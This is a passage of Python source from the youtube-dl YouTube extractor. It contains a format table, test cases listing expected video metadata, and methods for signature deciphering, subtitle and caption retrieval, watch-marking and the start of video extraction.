        '244': {'ext': 'webm', 'height': 480, 'format_note': 'DASH video', 'vcodec': 'vp9', 'preference': -40},
        '245': {'ext': 'webm', 'height': 480, 'format_note': 'DASH video', 'vcodec': 'vp9', 'preference': -40},
        '246': {'ext': 'webm', 'height': 480, 'format_note': 'DASH video', 'vcodec': 'vp9', 'preference': -40},
        '247': {'ext': 'webm', 'height': 720, 'format_note': 'DASH video', 'vcodec': 'vp9', 'preference': -40},
        '248': {'ext': 'webm', 'height': 1080, 'format_note': 'DASH video', 'vcodec': 'vp9', 'preference': -40},
        '271': {'ext': 'webm', 'height': 1440, 'format_note': 'DASH video', 'vcodec': 'vp9', 'preference': -40},
        # itag 272 videos are either 3840x2160 (e.g. RtoitU2A-3E) or 7680x4320 (sLprVF6d7Ug)
        '272': {'ext': 'webm', 'height': 2160, 'format_note': 'DASH video', 'vcodec': 'vp9', 'preference': -40},
        '302': {'ext': 'webm', 'height': 720, 'format_note': 'DASH video', 'vcodec': 'vp9', 'fps': 60, 'preference': -40},
        '303': {'ext': 'webm', 'height': 1080, 'format_note': 'DASH video', 'vcodec': 'vp9', 'fps': 60, 'preference': -40},
        '308': {'ext': 'webm', 'height': 1440, 'format_note': 'DASH video', 'vcodec': 'vp9', 'fps': 60, 'preference': -40},
        '313': {'ext': 'webm', 'height': 2160, 'format_note': 'DASH video', 'vcodec': 'vp9', 'preference': -40},
        '315': {'ext': 'webm', 'height': 2160, 'format_note': 'DASH video', 'vcodec': 'vp9', 'fps': 60, 'preference': -40},

        # Dash webm audio
        '171': {'ext': 'webm', 'acodec': 'vorbis', 'format_note': 'DASH audio', 'abr': 128, 'preference': -50},
        '172': {'ext': 'webm', 'acodec': 'vorbis', 'format_note': 'DASH audio', 'abr': 256, 'preference': -50},

        # Dash webm audio with opus inside
        '249': {'ext': 'webm', 'format_note': 'DASH audio', 'acodec': 'opus', 'abr': 50, 'preference': -50},
        '250': {'ext': 'webm', 'format_note': 'DASH audio', 'acodec': 'opus', 'abr': 70, 'preference': -50},
        '251': {'ext': 'webm', 'format_note': 'DASH audio', 'acodec': 'opus', 'abr': 160, 'preference': -50},

        # RTMP (unnamed)
        '_rtmp': {'protocol': 'rtmp'},
    }
    _SUBTITLE_FORMATS = ('ttml', 'vtt')

    IE_NAME = 'youtube'
    _TESTS = [
        {
            'url': 'http://www.youtube.com/watch?v=BaW_jenozKc&t=1s&end=9',
            'info_dict': {
                'id': 'BaW_jenozKc',
                'ext': 'mp4',
                'title': 'youtube-dl test video "\'/\\ä↭𝕐',
                'uploader': 'Philipp Hagemeister',
                'uploader_id': 'phihag',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/phihag',
                'upload_date': '20121002',
                'license': 'Standard YouTube License',
                'description': 'test chars:  "\'/\\ä↭𝕐\ntest URL: https://github.com/rg3/youtube-dl/issues/1892\n\nThis is a test video for youtube-dl.\n\nFor more information, contact phihag@phihag.de .',
                'categories': ['Science & Technology'],
                'tags': ['youtube-dl'],
                'like_count': int,
                'dislike_count': int,
                'start_time': 1,
                'end_time': 9,
            }
        },
        {
            'url': 'http://www.youtube.com/watch?v=UxxajLWwzqY',
            'note': 'Test generic use_cipher_signature video (#897)',
            'info_dict': {
                'id': 'UxxajLWwzqY',
                'ext': 'mp4',
                'upload_date': '20120506',
                'title': 'Icona Pop - I Love It (feat. Charli XCX) [OFFICIAL VIDEO]',
                'alt_title': 'I Love It (feat. Charli XCX)',
                'description': 'md5:f3ceb5ef83a08d95b9d146f973157cc8',
                'tags': ['Icona Pop i love it', 'sweden', 'pop music', 'big beat records', 'big beat', 'charli',
                         'xcx', 'charli xcx', 'girls', 'hbo', 'i love it', "i don't care", 'icona', 'pop',
                         'iconic ep', 'iconic', 'love', 'it'],
                'uploader': 'Icona Pop',
                'uploader_id': 'IconaPop',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/IconaPop',
                'license': 'Standard YouTube License',
                'creator': 'Icona Pop',
            }
        },
        {
            'url': 'https://www.youtube.com/watch?v=07FYdnEawAQ',
            'note': 'Test VEVO video with age protection (#956)',
            'info_dict': {
                'id': '07FYdnEawAQ',
                'ext': 'mp4',
                'upload_date': '20130703',
                'title': 'Justin Timberlake - Tunnel Vision (Explicit)',
                'alt_title': 'Tunnel Vision',
                'description': 'md5:64249768eec3bc4276236606ea996373',
                'uploader': 'justintimberlakeVEVO',
                'uploader_id': 'justintimberlakeVEVO',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/justintimberlakeVEVO',
                'license': 'Standard YouTube License',
                'creator': 'Justin Timberlake',
                'age_limit': 18,
            }
        },
        {
            'url': '//www.YouTube.com/watch?v=yZIXLfi8CZQ',
            'note': 'Embed-only video (#1746)',
            'info_dict': {
                'id': 'yZIXLfi8CZQ',
                'ext': 'mp4',
                'upload_date': '20120608',
                'title': 'Principal Sexually Assaults A Teacher - Episode 117 - 8th June 2012',
                'description': 'md5:09b78bd971f1e3e289601dfba15ca4f7',
                'uploader': 'SET India',
                'uploader_id': 'setindia',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/setindia',
                'license': 'Standard YouTube License',
                'age_limit': 18,
            }
        },
        {
            'url': 'http://www.youtube.com/watch?v=BaW_jenozKc&v=UxxajLWwzqY',
            'note': 'Use the first video ID in the URL',
            'info_dict': {
                'id': 'BaW_jenozKc',
                'ext': 'mp4',
                'title': 'youtube-dl test video "\'/\\ä↭𝕐',
                'uploader': 'Philipp Hagemeister',
                'uploader_id': 'phihag',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/phihag',
                'upload_date': '20121002',
                'license': 'Standard YouTube License',
                'description': 'test chars:  "\'/\\ä↭𝕐\ntest URL: https://github.com/rg3/youtube-dl/issues/1892\n\nThis is a test video for youtube-dl.\n\nFor more information, contact phihag@phihag.de .',
                'categories': ['Science & Technology'],
                'tags': ['youtube-dl'],
                'like_count': int,
                'dislike_count': int,
            },
            'params': {
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.youtube.com/watch?v=a9LDPn-MO4I',
            'note': '256k DASH audio (format 141) via DASH manifest',
            'info_dict': {
                'id': 'a9LDPn-MO4I',
                'ext': 'm4a',
                'upload_date': '20121002',
                'uploader_id': '8KVIDEO',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/8KVIDEO',
                'description': '',
                'uploader': '8KVIDEO',
                'license': 'Standard YouTube License',
                'title': 'UHDTV TEST 8K VIDEO.mp4'
            },
            'params': {
                'youtube_include_dash_manifest': True,
                'format': '141',
            },
            'skip': 'format 141 not served anymore',
        },
        # DASH manifest with encrypted signature
        {
            'url': 'https://www.youtube.com/watch?v=IB3lcPjvWLA',
            'info_dict': {
                'id': 'IB3lcPjvWLA',
                'ext': 'm4a',
                'title': 'Afrojack, Spree Wilson - The Spark ft. Spree Wilson',
                'description': 'md5:12e7067fa6735a77bdcbb58cb1187d2d',
                'uploader': 'AfrojackVEVO',
                'uploader_id': 'AfrojackVEVO',
                'upload_date': '20131011',
                'license': 'Standard YouTube License',
            },
            'params': {
                'youtube_include_dash_manifest': True,
                'format': '141/bestaudio[ext=m4a]',
            },
        },
        # JS player signature function name containing $
        {
            'url': 'https://www.youtube.com/watch?v=nfWlot6h_JM',
            'info_dict': {
                'id': 'nfWlot6h_JM',
                'ext': 'm4a',
                'title': 'Taylor Swift - Shake It Off',
                'alt_title': 'Shake It Off',
                'description': 'md5:95f66187cd7c8b2c13eb78e1223b63c3',
                'uploader': 'TaylorSwiftVEVO',
                'uploader_id': 'TaylorSwiftVEVO',
                'upload_date': '20140818',
                'license': 'Standard YouTube License',
                'creator': 'Taylor Swift',
            },
            'params': {
                'youtube_include_dash_manifest': True,
                'format': '141/bestaudio[ext=m4a]',
            },
        },
        # Controversy video
        {
            'url': 'https://www.youtube.com/watch?v=T4XJQO3qol8',
            'info_dict': {
                'id': 'T4XJQO3qol8',
                'ext': 'mp4',
                'upload_date': '20100909',
                'uploader': 'The Amazing Atheist',
                'uploader_id': 'TheAmazingAtheist',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/TheAmazingAtheist',
                'license': 'Standard YouTube License',
                'title': 'Burning Everyone\'s Koran',
                'description': 'SUBSCRIBE: http://www.youtube.com/saturninefilms\n\nEven Obama has taken a stand against freedom on this issue: http://www.huffingtonpost.com/2010/09/09/obama-gma-interview-quran_n_710282.html',
            }
        },
        # Normal age-gate video (No vevo, embed allowed)
        {
            'url': 'http://youtube.com/watch?v=HtVdAasjOgU',
            'info_dict': {
                'id': 'HtVdAasjOgU',
                'ext': 'mp4',
                'title': 'The Witcher 3: Wild Hunt - The Sword Of Destiny Trailer',
                'description': 're:(?s).{100,}About the Game\n.*?The Witcher 3: Wild Hunt.{100,}',
                'uploader': 'The Witcher',
                'uploader_id': 'WitcherGame',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/WitcherGame',
                'upload_date': '20140605',
                'license': 'Standard YouTube License',
                'age_limit': 18,
            },
        },
        # Age-gate video with encrypted signature
        {
            'url': 'http://www.youtube.com/watch?v=6kLq3WMV1nU',
            'info_dict': {
                'id': '6kLq3WMV1nU',
                'ext': 'mp4',
                'title': 'Dedication To My Ex (Miss That) (Lyric Video)',
                'description': 'md5:33765bb339e1b47e7e72b5490139bb41',
                'uploader': 'LloydVEVO',
                'uploader_id': 'LloydVEVO',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/LloydVEVO',
                'upload_date': '20110629',
                'license': 'Standard YouTube License',
                'age_limit': 18,
            },
        },
        # video_info is None (https://github.com/rg3/youtube-dl/issues/4421)
        {
            'url': '__2ABJjxzNo',
            'info_dict': {
                'id': '__2ABJjxzNo',
                'ext': 'mp4',
                'upload_date': '20100430',
                'uploader_id': 'deadmau5',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/deadmau5',
                'creator': 'deadmau5',
                'description': 'md5:12c56784b8032162bb936a5f76d55360',
                'uploader': 'deadmau5',
                'license': 'Standard YouTube License',
                'title': 'Deadmau5 - Some Chords (HD)',
                'alt_title': 'Some Chords',
            },
            'expected_warnings': [
                'DASH manifest missing',
            ]
        },
        # Olympics (https://github.com/rg3/youtube-dl/issues/4431)
        {
            'url': 'lqQg6PlCWgI',
            'info_dict': {
                'id': 'lqQg6PlCWgI',
                'ext': 'mp4',
                'upload_date': '20150827',
                'uploader_id': 'olympic',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/olympic',
                'license': 'Standard YouTube License',
                'description': 'HO09  - Women -  GER-AUS - Hockey - 31 July 2012 - London 2012 Olympic Games',
                'uploader': 'Olympic',
                'title': 'Hockey - Women -  GER-AUS - London 2012 Olympic Games',
            },
            'params': {
                'skip_download': 'requires avconv',
            }
        },
        # Non-square pixels
        {
            'url': 'https://www.youtube.com/watch?v=_b-2C3KPAM0',
            'info_dict': {
                'id': '_b-2C3KPAM0',
                'ext': 'mp4',
                'stretched_ratio': 16 / 9.,
                'upload_date': '20110310',
                'uploader_id': 'AllenMeow',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/AllenMeow',
                'description': 'made by Wacom from Korea | 字幕&加油添醋 by TY\'s Allen | 感謝heylisa00cavey1001同學熱情提供梗及翻譯',
                'uploader': '孫艾倫',
                'license': 'Standard YouTube License',
                'title': '[A-made] 變態妍字幕版 太妍 我就是這樣的人',
            },
        },
        # url_encoded_fmt_stream_map is empty string
        {
            'url': 'qEJwOuvDf7I',
            'info_dict': {
                'id': 'qEJwOuvDf7I',
                'ext': 'webm',
                'title': 'Обсуждение судебной практики по выборам 14 сентября 2014 года в Санкт-Петербурге',
                'description': '',
                'upload_date': '20150404',
                'uploader_id': 'spbelect',
                'uploader': 'Наблюдатели Петербурга',
            },
            'params': {
                'skip_download': 'requires avconv',
            },
            'skip': 'This live event has ended.',
        },
        # Extraction from multiple DASH manifests (https://github.com/rg3/youtube-dl/pull/6097)
        {
            'url': 'https://www.youtube.com/watch?v=FIl7x6_3R5Y',
            'info_dict': {
                'id': 'FIl7x6_3R5Y',
                'ext': 'mp4',
                'title': 'md5:7b81415841e02ecd4313668cde88737a',
                'description': 'md5:116377fd2963b81ec4ce64b542173306',
                'upload_date': '20150625',
                'uploader_id': 'dorappi2000',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/dorappi2000',
                'uploader': 'dorappi2000',
                'license': 'Standard YouTube License',
                'formats': 'mincount:32',
            },
        },
        # DASH manifest with segment_list
        {
            'url': 'https://www.youtube.com/embed/CsmdDsKjzN8',
            'md5': '8ce563a1d667b599d21064e982ab9e31',
            'info_dict': {
                'id': 'CsmdDsKjzN8',
                'ext': 'mp4',
                'upload_date': '20150501',  # According to '<meta itemprop="datePublished"', but in other places it's 20150510
                'uploader': 'Airtek',
                'description': 'Retransmisión en directo de la XVIII media maratón de Zaragoza.',
                'uploader_id': 'UCzTzUmjXxxacNnL8I3m4LnQ',
                'license': 'Standard YouTube License',
                'title': 'Retransmisión XVIII Media maratón Zaragoza 2015',
            },
            'params': {
                'youtube_include_dash_manifest': True,
                'format': '135',  # bestvideo
            },
            'skip': 'This live event has ended.',
        },
        {
            # Multifeed videos (multiple cameras), URL is for Main Camera
            'url': 'https://www.youtube.com/watch?v=jqWvoWXjCVs',
            'info_dict': {
                'id': 'jqWvoWXjCVs',
                'title': 'teamPGP: Rocket League Noob Stream',
                'description': 'md5:dc7872fb300e143831327f1bae3af010',
            },
            'playlist': [{
                'info_dict': {
                    'id': 'jqWvoWXjCVs',
                    'ext': 'mp4',
                    'title': 'teamPGP: Rocket League Noob Stream (Main Camera)',
                    'description': 'md5:dc7872fb300e143831327f1bae3af010',
                    'upload_date': '20150721',
                    'uploader': 'Beer Games Beer',
                    'uploader_id': 'beergamesbeer',
                    'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/beergamesbeer',
                    'license': 'Standard YouTube License',
                },
            }, {
                'info_dict': {
                    'id': '6h8e8xoXJzg',
                    'ext': 'mp4',
                    'title': 'teamPGP: Rocket League Noob Stream (kreestuh)',
                    'description': 'md5:dc7872fb300e143831327f1bae3af010',
                    'upload_date': '20150721',
                    'uploader': 'Beer Games Beer',
                    'uploader_id': 'beergamesbeer',
                    'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/beergamesbeer',
                    'license': 'Standard YouTube License',
                },
            }, {
                'info_dict': {
                    'id': 'PUOgX5z9xZw',
                    'ext': 'mp4',
                    'title': 'teamPGP: Rocket League Noob Stream (grizzle)',
                    'description': 'md5:dc7872fb300e143831327f1bae3af010',
                    'upload_date': '20150721',
                    'uploader': 'Beer Games Beer',
                    'uploader_id': 'beergamesbeer',
                    'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/beergamesbeer',
                    'license': 'Standard YouTube License',
                },
            }, {
                'info_dict': {
                    'id': 'teuwxikvS5k',
                    'ext': 'mp4',
                    'title': 'teamPGP: Rocket League Noob Stream (zim)',
                    'description': 'md5:dc7872fb300e143831327f1bae3af010',
                    'upload_date': '20150721',
                    'uploader': 'Beer Games Beer',
                    'uploader_id': 'beergamesbeer',
                    'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/beergamesbeer',
                    'license': 'Standard YouTube License',
                },
            }],
            'params': {
                'skip_download': True,
            },
        },
        {
            # Multifeed video with comma in title (see https://github.com/rg3/youtube-dl/issues/8536)
            'url': 'https://www.youtube.com/watch?v=gVfLd0zydlo',
            'info_dict': {
                'id': 'gVfLd0zydlo',
                'title': 'DevConf.cz 2016 Day 2 Workshops 1 14:00 - 15:30',
            },
            'playlist_count': 2,
            'skip': 'Not multifeed anymore',
        },
        {
            'url': 'http://vid.plus/FlRa-iH7PGw',
            'only_matching': True,
        },
        {
            'url': 'http://zwearz.com/watch/9lWxNJF-ufM/electra-woman-dyna-girl-official-trailer-grace-helbig.html',
            'only_matching': True,
        },
        {
            # Title with JS-like syntax "};" (see https://github.com/rg3/youtube-dl/issues/7468)
            # Also tests cut-off URL expansion in video description (see
            # https://github.com/rg3/youtube-dl/issues/1892,
            # https://github.com/rg3/youtube-dl/issues/8164)
            'url': 'https://www.youtube.com/watch?v=lsguqyKfVQg',
            'info_dict': {
                'id': 'lsguqyKfVQg',
                'ext': 'mp4',
                'title': '{dark walk}; Loki/AC/Dishonored; collab w/Elflover21',
                'alt_title': 'Dark Walk',
                'description': 'md5:8085699c11dc3f597ce0410b0dcbb34a',
                'upload_date': '20151119',
                'uploader_id': 'IronSoulElf',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/IronSoulElf',
                'uploader': 'IronSoulElf',
                'license': 'Standard YouTube License',
                'creator': 'Todd Haberman, Daniel Law Heath & Aaron Kaplan',
            },
            'params': {
                'skip_download': True,
            },
        },
        {
            # Tags with '};' (see https://github.com/rg3/youtube-dl/issues/7468)
            'url': 'https://www.youtube.com/watch?v=Ms7iBXnlUO8',
            'only_matching': True,
        },
        {
            # Video with yt:stretch=17:0
            'url': 'https://www.youtube.com/watch?v=Q39EVAstoRM',
            'info_dict': {
                'id': 'Q39EVAstoRM',
                'ext': 'mp4',
                'title': 'Clash Of Clans#14 Dicas De Ataque Para CV 4',
                'description': 'md5:ee18a25c350637c8faff806845bddee9',
                'upload_date': '20151107',
                'uploader_id': 'UCCr7TALkRbo3EtFzETQF1LA',
                'uploader': 'CH GAMER DROID',
            },
            'params': {
                'skip_download': True,
            },
            'skip': 'This video does not exist.',
        },
        {
            # Video licensed under Creative Commons
            'url': 'https://www.youtube.com/watch?v=M4gD1WSo5mA',
            'info_dict': {
                'id': 'M4gD1WSo5mA',
                'ext': 'mp4',
                'title': 'md5:e41008789470fc2533a3252216f1c1d1',
                'description': 'md5:a677553cf0840649b731a3024aeff4cc',
                'upload_date': '20150127',
                'uploader_id': 'BerkmanCenter',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/BerkmanCenter',
                'uploader': 'BerkmanCenter',
                'license': 'Creative Commons Attribution license (reuse allowed)',
            },
            'params': {
                'skip_download': True,
            },
        },
        {
            # Channel-like uploader_url
            'url': 'https://www.youtube.com/watch?v=eQcmzGIKrzg',
            'info_dict': {
                'id': 'eQcmzGIKrzg',
                'ext': 'mp4',
                'title': 'Democratic Socialism and Foreign Policy | Bernie Sanders',
                'description': 'md5:dda0d780d5a6e120758d1711d062a867',
                'upload_date': '20151119',
                'uploader': 'Bernie 2016',
                'uploader_id': 'UCH1dpzjCEiGAt8CXkryhkZg',
                'uploader_url': 're:https?://(?:www\.)?youtube\.com/channel/UCH1dpzjCEiGAt8CXkryhkZg',
                'license': 'Creative Commons Attribution license (reuse allowed)',
            },
            'params': {
                'skip_download': True,
            },
        },
        {
            'url': 'https://www.youtube.com/watch?feature=player_embedded&amp;amp;v=V36LpHqtcDY',
            'only_matching': True,
        },
        {
            # YouTube Red paid video (https://github.com/rg3/youtube-dl/issues/10059)
            'url': 'https://www.youtube.com/watch?v=i1Ko8UG-Tdo',
            'only_matching': True,
        }
    ]

    def __init__(self, *args, **kwargs):
        super(YoutubeIE, self).__init__(*args, **kwargs)
        self._player_cache = {}

    def report_video_info_webpage_download(self, video_id):
        """Report attempt to download video info webpage."""
        self.to_screen('%s: Downloading video info webpage' % video_id)

    def report_information_extraction(self, video_id):
        """Report attempt to extract video information."""
        self.to_screen('%s: Extracting video information' % video_id)

    def report_unavailable_format(self, video_id, format):
        """Report extracted video URL."""
        self.to_screen('%s: Format %s not available' % (video_id, format))

    def report_rtmp_download(self):
        """Indicate the download will use the RTMP protocol."""
        self.to_screen('RTMP download detected')

    def _signature_cache_id(self, example_sig):
        """ Return a string representation of a signature """
        return '.'.join(compat_str(len(part)) for part in example_sig.split('.'))

    def _extract_signature_function(self, video_id, player_url, example_sig):
        id_m = re.match(
            r'.*?-(?P<id>[a-zA-Z0-9_-]+)(?:/watch_as3|/html5player(?:-new)?|/base)?\.(?P<ext>[a-z]+)$',
            player_url)
        if not id_m:
            raise ExtractorError('Cannot identify player %r' % player_url)
        player_type = id_m.group('ext')
        player_id = id_m.group('id')

        # Read from filesystem cache
        func_id = '%s_%s_%s' % (
            player_type, player_id, self._signature_cache_id(example_sig))
        assert os.path.basename(func_id) == func_id

        cache_spec = self._downloader.cache.load('youtube-sigfuncs', func_id)
        if cache_spec is not None:
            return lambda s: ''.join(s[i] for i in cache_spec)

        download_note = (
            'Downloading player %s' % player_url
            if self._downloader.params.get('verbose') else
            'Downloading %s player %s' % (player_type, player_id)
        )
        if player_type == 'js':
            code = self._download_webpage(
                player_url, video_id,
                note=download_note,
                errnote='Download of %s failed' % player_url)
            res = self._parse_sig_js(code)
        elif player_type == 'swf':
            urlh = self._request_webpage(
                player_url, video_id,
                note=download_note,
                errnote='Download of %s failed' % player_url)
            code = urlh.read()
            res = self._parse_sig_swf(code)
        else:
            assert False, 'Invalid player type %r' % player_type

        test_string = ''.join(map(compat_chr, range(len(example_sig))))
        cache_res = res(test_string)
        cache_spec = [ord(c) for c in cache_res]

        self._downloader.cache.store('youtube-sigfuncs', func_id, cache_spec)
        return res

    def _print_sig_code(self, func, example_sig):
        def gen_sig_code(idxs):
            def _genslice(start, end, step):
                starts = '' if start == 0 else str(start)
                ends = (':%d' % (end + step)) if end + step >= 0 else ':'
                steps = '' if step == 1 else (':%d' % step)
                return 's[%s%s%s]' % (starts, ends, steps)

            step = None
            # Quelch pyflakes warnings - start will be set when step is set
            start = '(Never used)'
            for i, prev in zip(idxs[1:], idxs[:-1]):
                if step is not None:
                    if i - prev == step:
                        continue
                    yield _genslice(start, prev, step)
                    step = None
                    continue
                if i - prev in [-1, 1]:
                    step = i - prev
                    start = prev
                    continue
                else:
                    yield 's[%d]' % prev
            if step is None:
                yield 's[%d]' % i
            else:
                yield _genslice(start, i, step)

        test_string = ''.join(map(compat_chr, range(len(example_sig))))
        cache_res = func(test_string)
        cache_spec = [ord(c) for c in cache_res]
        expr_code = ' + '.join(gen_sig_code(cache_spec))
        signature_id_tuple = '(%s)' % (
            ', '.join(compat_str(len(p)) for p in example_sig.split('.')))
        code = ('if tuple(len(p) for p in s.split(\'.\')) == %s:\n'
                '    return %s\n') % (signature_id_tuple, expr_code)
        self.to_screen('Extracted signature function:\n' + code)

    def _parse_sig_js(self, jscode):
        funcname = self._search_regex(
            r'\.sig\|\|([a-zA-Z0-9$]+)\(', jscode,
            'Initial JS player signature function name')

        jsi = JSInterpreter(jscode)
        initial_function = jsi.extract_function(funcname)
        return lambda s: initial_function([s])

    def _parse_sig_swf(self, file_contents):
        swfi = SWFInterpreter(file_contents)
        TARGET_CLASSNAME = 'SignatureDecipher'
        searched_class = swfi.extract_class(TARGET_CLASSNAME)
        initial_function = swfi.extract_function(searched_class, 'decipher')
        return lambda s: initial_function([s])

    def _decrypt_signature(self, s, video_id, player_url, age_gate=False):
        """Turn the encrypted s field into a working signature"""

        if player_url is None:
            raise ExtractorError('Cannot decrypt signature without player_url')

        if player_url.startswith('//'):
            player_url = 'https:' + player_url
        try:
            player_id = (player_url, self._signature_cache_id(s))
            if player_id not in self._player_cache:
                func = self._extract_signature_function(
                    video_id, player_url, s
                )
                self._player_cache[player_id] = func
            func = self._player_cache[player_id]
            if self._downloader.params.get('youtube_print_sig_code'):
                self._print_sig_code(func, s)
            return func(s)
        except Exception as e:
            tb = traceback.format_exc()
            raise ExtractorError(
                'Signature extraction failed: ' + tb, cause=e)

    def _get_subtitles(self, video_id, webpage):
        try:
            subs_doc = self._download_xml(
                'https://video.google.com/timedtext?hl=en&type=list&v=%s' % video_id,
                video_id, note=False)
        except ExtractorError as err:
            self._downloader.report_warning('unable to download video subtitles: %s' % error_to_compat_str(err))
            return {}

        sub_lang_list = {}
        for track in subs_doc.findall('track'):
            lang = track.attrib['lang_code']
            if lang in sub_lang_list:
                continue
            sub_formats = []
            for ext in self._SUBTITLE_FORMATS:
                params = compat_urllib_parse_urlencode({
                    'lang': lang,
                    'v': video_id,
                    'fmt': ext,
                    'name': track.attrib['name'].encode('utf-8'),
                })
                sub_formats.append({
                    'url': 'https://www.youtube.com/api/timedtext?' + params,
                    'ext': ext,
                })
            sub_lang_list[lang] = sub_formats
        if not sub_lang_list:
            self._downloader.report_warning('video doesn\'t have subtitles')
            return {}
        return sub_lang_list

    def _get_ytplayer_config(self, video_id, webpage):
        patterns = (
            # User data may contain arbitrary character sequences that may affect
            # JSON extraction with regex, e.g. when '};' is contained the second
            # regex won't capture the whole JSON. Yet working around by trying more
            # concrete regex first keeping in mind proper quoted string handling
            # to be implemented in future that will replace this workaround (see
            # https://github.com/rg3/youtube-dl/issues/7468,
            # https://github.com/rg3/youtube-dl/pull/7599)
            r';ytplayer\.config\s*=\s*({.+?});ytplayer',
            r';ytplayer\.config\s*=\s*({.+?});',
        )
        config = self._search_regex(
            patterns, webpage, 'ytplayer.config', default=None)
        if config:
            return self._parse_json(
                uppercase_escape(config), video_id, fatal=False)

    def _get_automatic_captions(self, video_id, webpage):
        """We need the webpage for getting the captions url, pass it as an
           argument to speed up the process."""
        self.to_screen('%s: Looking for automatic captions' % video_id)
        player_config = self._get_ytplayer_config(video_id, webpage)
        err_msg = 'Couldn\'t find automatic captions for %s' % video_id
        if not player_config:
            self._downloader.report_warning(err_msg)
            return {}
        try:
            args = player_config['args']
            caption_url = args.get('ttsurl')
            if caption_url:
                timestamp = args['timestamp']
                # We get the available subtitles
                list_params = compat_urllib_parse_urlencode({
                    'type': 'list',
                    'tlangs': 1,
                    'asrs': 1,
                })
                list_url = caption_url + '&' + list_params
                caption_list = self._download_xml(list_url, video_id)
                original_lang_node = caption_list.find('track')
                if original_lang_node is None:
                    self._downloader.report_warning('Video doesn\'t have automatic captions')
                    return {}
                original_lang = original_lang_node.attrib['lang_code']
                caption_kind = original_lang_node.attrib.get('kind', '')

                sub_lang_list = {}
                for lang_node in caption_list.findall('target'):
                    sub_lang = lang_node.attrib['lang_code']
                    sub_formats = []
                    for ext in self._SUBTITLE_FORMATS:
                        params = compat_urllib_parse_urlencode({
                            'lang': original_lang,
                            'tlang': sub_lang,
                            'fmt': ext,
                            'ts': timestamp,
                            'kind': caption_kind,
                        })
                        sub_formats.append({
                            'url': caption_url + '&' + params,
                            'ext': ext,
                        })
                    sub_lang_list[sub_lang] = sub_formats
                return sub_lang_list

            # Some videos don't provide ttsurl but rather caption_tracks and
            # caption_translation_languages (e.g. 20LmZk1hakA)
            caption_tracks = args['caption_tracks']
            caption_translation_languages = args['caption_translation_languages']
            caption_url = compat_parse_qs(caption_tracks.split(',')[0])['u'][0]
            parsed_caption_url = compat_urllib_parse_urlparse(caption_url)
            caption_qs = compat_parse_qs(parsed_caption_url.query)

            sub_lang_list = {}
            for lang in caption_translation_languages.split(','):
                lang_qs = compat_parse_qs(compat_urllib_parse_unquote_plus(lang))
                sub_lang = lang_qs.get('lc', [None])[0]
                if not sub_lang:
                    continue
                sub_formats = []
                for ext in self._SUBTITLE_FORMATS:
                    caption_qs.update({
                        'tlang': [sub_lang],
                        'fmt': [ext],
                    })
                    sub_url = compat_urlparse.urlunparse(parsed_caption_url._replace(
                        query=compat_urllib_parse_urlencode(caption_qs, True)))
                    sub_formats.append({
                        'url': sub_url,
                        'ext': ext,
                    })
                sub_lang_list[sub_lang] = sub_formats
            return sub_lang_list
        # An extractor error can be raise by the download process if there are
        # no automatic captions but there are subtitles
        except (KeyError, ExtractorError):
            self._downloader.report_warning(err_msg)
            return {}

    def _mark_watched(self, video_id, video_info):
        playback_url = video_info.get('videostats_playback_base_url', [None])[0]
        if not playback_url:
            return
        parsed_playback_url = compat_urlparse.urlparse(playback_url)
        qs = compat_urlparse.parse_qs(parsed_playback_url.query)

        # cpn generation algorithm is reverse engineered from base.js.
        # In fact it works even with dummy cpn.
        CPN_ALPHABET = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_'
        cpn = ''.join((CPN_ALPHABET[random.randint(0, 256) & 63] for _ in range(0, 16)))

        qs.update({
            'ver': ['2'],
            'cpn': [cpn],
        })
        playback_url = compat_urlparse.urlunparse(
            parsed_playback_url._replace(query=compat_urllib_parse_urlencode(qs, True)))

        self._download_webpage(
            playback_url, video_id, 'Marking watched',
            'Unable to mark watched', fatal=False)

    @classmethod
    def extract_id(cls, url):
        mobj = re.match(cls._VALID_URL, url, re.VERBOSE)
        if mobj is None:
            raise ExtractorError('Invalid URL: %s' % url)
        video_id = mobj.group(2)
        return video_id

    def _extract_from_m3u8(self, manifest_url, video_id):
        url_map = {}

        def _get_urls(_manifest):
            lines = _manifest.split('\n')
            urls = filter(lambda l: l and not l.startswith('#'),
                          lines)
            return urls
        manifest = self._download_webpage(manifest_url, video_id, 'Downloading formats manifest')
        formats_urls = _get_urls(manifest)
        for format_url in formats_urls:
            itag = self._search_regex(r'itag/(\d+?)/', format_url, 'itag')
            url_map[itag] = format_url
        return url_map

    def _extract_annotations(self, video_id):
        url = 'https://www.youtube.com/annotations_invideo?features=1&legacy=1&video_id=%s' % video_id
        return self._download_webpage(url, video_id, note='Searching for annotations.', errnote='Unable to download video annotations.')

    def _real_extract(self, url):
        url, smuggled_data = unsmuggle_url(url, {})

        proto = (
            'http' if self._downloader.params.get('prefer_insecure', False)
            else 'https')

        start_time = None
        end_time = None
        parsed_url = compat_urllib_parse_urlparse(url)
        for component in [parsed_url.fragment, parsed_url.query]:
            query = compat_parse_qs(component)
            if start_time is None and 't' in query:
                start_time = parse_duration(query['t'][0])
            if start_time is None and 'start' in query:
                start_time = parse_duration(query['start'][0])
            if end_time is None and 'end' in query:
                end_time = parse_duration(query['end'][0])

        # Extract original video URL from URL with redirection, like age verification, using next_url parameter
        mobj = re.search(self._NEXT_URL_RE, url)
        if mobj:
            url = proto + '://www.youtube.com/' + compat_urllib_parse_unquote(mobj.group(1)).lstrip('/')
